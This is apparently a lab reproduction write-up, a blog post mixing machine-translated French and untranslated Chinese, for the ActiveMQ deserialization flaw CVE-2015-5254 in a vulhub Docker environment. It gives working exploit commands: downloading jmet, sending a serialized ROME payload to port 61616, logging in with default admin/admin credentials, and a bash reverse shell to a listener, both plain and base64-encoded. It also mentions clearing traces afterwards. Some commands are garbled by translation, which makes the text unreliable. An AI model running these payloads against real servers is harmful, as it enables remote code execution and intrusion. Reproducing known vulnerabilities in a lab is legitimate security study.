[récurrence de la vulnérabilité vulhub] CVE-2015-5254 Vulnérabilité de désérialisation ActiveMQ

1. Détails de la vulnérabilité

Apache ActiveMQ est un ensemble d'intergiciels de messagerie open source développé par l'Apache Software Foundation aux États-Unis. Il prend en charge les services de messagerie Java, les clusters, Spring Framework, etc. La configuration d'Apache ActiveMQ nécessite un environnement jdk au préalable.

Basé sur MQTT, le mode d'abonnement et de distribution des messages. ActiveMQ est l'équivalent d'une console cloud, où vous pouvez voir les files d'attente de publication et de réception de messages.

Afficher la file d'attente après avoir envoyé un message :

Afficher la file d'attente après avoir reçu un message :

Affecte les versions Apache ActiveMQ < 5.13.0

La vulnérabilité provient du fait que le programme ne limite pas les classes qui peuvent être sérialisées dans le proxy. Un attaquant distant pourrait exploiter cette vulnérabilité pour exécuter du code arbitraire avec un objet ObjectMessage Java Message Service (JMS) sérialisé spécialement conçu.

Le processus d'exploit de désérialisation est le suivant :

  1. Construit un objet sérialisé de commandes exécutables

  1. En tant que message, envoyé au port 61616 de la cible

  1. Accédez à l'interface de gestion Web et lisez les messages pour déclencher des vulnérabilités

2. Processus de récurrence

  1. environnement de construction vulhub

Entrez le dossier correspondant pour démarrer l'environnement

docker-composer jusqu'à -d

Vérifier les informations sur l'environnement

docker-composer ps
La configuration par défaut d' activeMQ démarrera deux ports 8161 et 61616, dont 8161 est le port de l'arrière-plan de gestion fourni avec mq, et 61616 est le port par défaut du service mq. Lors de notre visite, visitez le port 8161.

Vous pouvez également utiliser nmap pour scanner le port de l'IP cible

accéder au port

  1. Mot de passe par défaut du compte admin/admin login

Vous pouvez voir des informations sur la version

  1. Utiliser jmet pour construire des objets sérialisés exécutables

(Principe : utiliser le ysoserial intégré pour générer et envoyer la charge utile)

#Téléchargez le package jar de jmet
wget https://github.com/matthiaskaiser/jmet/releases/download/0.1.0/jmet-0.1.0-all.jar

执行命令(在jmet-0.1.0-all.jar的保存目录下)

java -jar jmet-0.1.0-all.jar -Q myevent -I ActiveMQ -s -Y "touch /tmp/success" -Yp ROME 127.0.0.1(你的目标机的ip) 61616

这边报错了,在该目录下创建文件夹

mkdir external

再执行一次上面的命令

目的是在目标服务器中/tmp目录创建一个文件success

可以看到Active MQ已经收到了消息队列

点击ID触发命令执行(因为我们之前已经用admin/admin登录了,有管理员权限,如果没有管理员权限的话,我们只能等待管理员点击消息队列的ID来触发命令执行漏洞

  1. 进入容器查看漏洞利用结果

docker ps
docker exec -it bae4bc8546b7 /bin/bash
cd /root/
cd /tmp
ls -l

可以看到success文件成功创建,也就是我们的远程命令已经被执行了

  1. 反弹shell的利用

同理讲上面的远程命令那部分替换为反弹shell的命令即可

开启监听,端口为19999

127.0.0.1不能反弹shell,所以下面的IP换了下

#bash反弹命令
bash -i >& /dev/tcp/192.168.239.128/19999 0>&1

需要利用base64进行编码绕过

执行命令

java -jar jmet-0.1.0-all.jar -Q event -I ActiveMQ -s -Y "bash -c {echo,YmFzaCAtaSA+JiAvZGV2L3RjcC8xOTIuMTY4LjIzOS4xMjgvMTk5OTkgMD4mMQ==}|{base64,-d}|{bash,-i}" -Yp ROME 127.0.0.1 61616

找到相应ID消息队列,触发命令执行

监听成功

三、总结

既然可以远程命令执行,那可利用的点岂不是茫茫多.

顺便在反弹shell之后学习了一下如何清除痕迹

推荐大佬的文章,里面写的很详细

https://blog.csdn.net/weixin_43847838/article/details/129058192?spm=1001.2014.3001.5501

Je suppose que tu aimes

Origine blog.csdn.net/m0_51683653/article/details/129230144
conseillé
Classement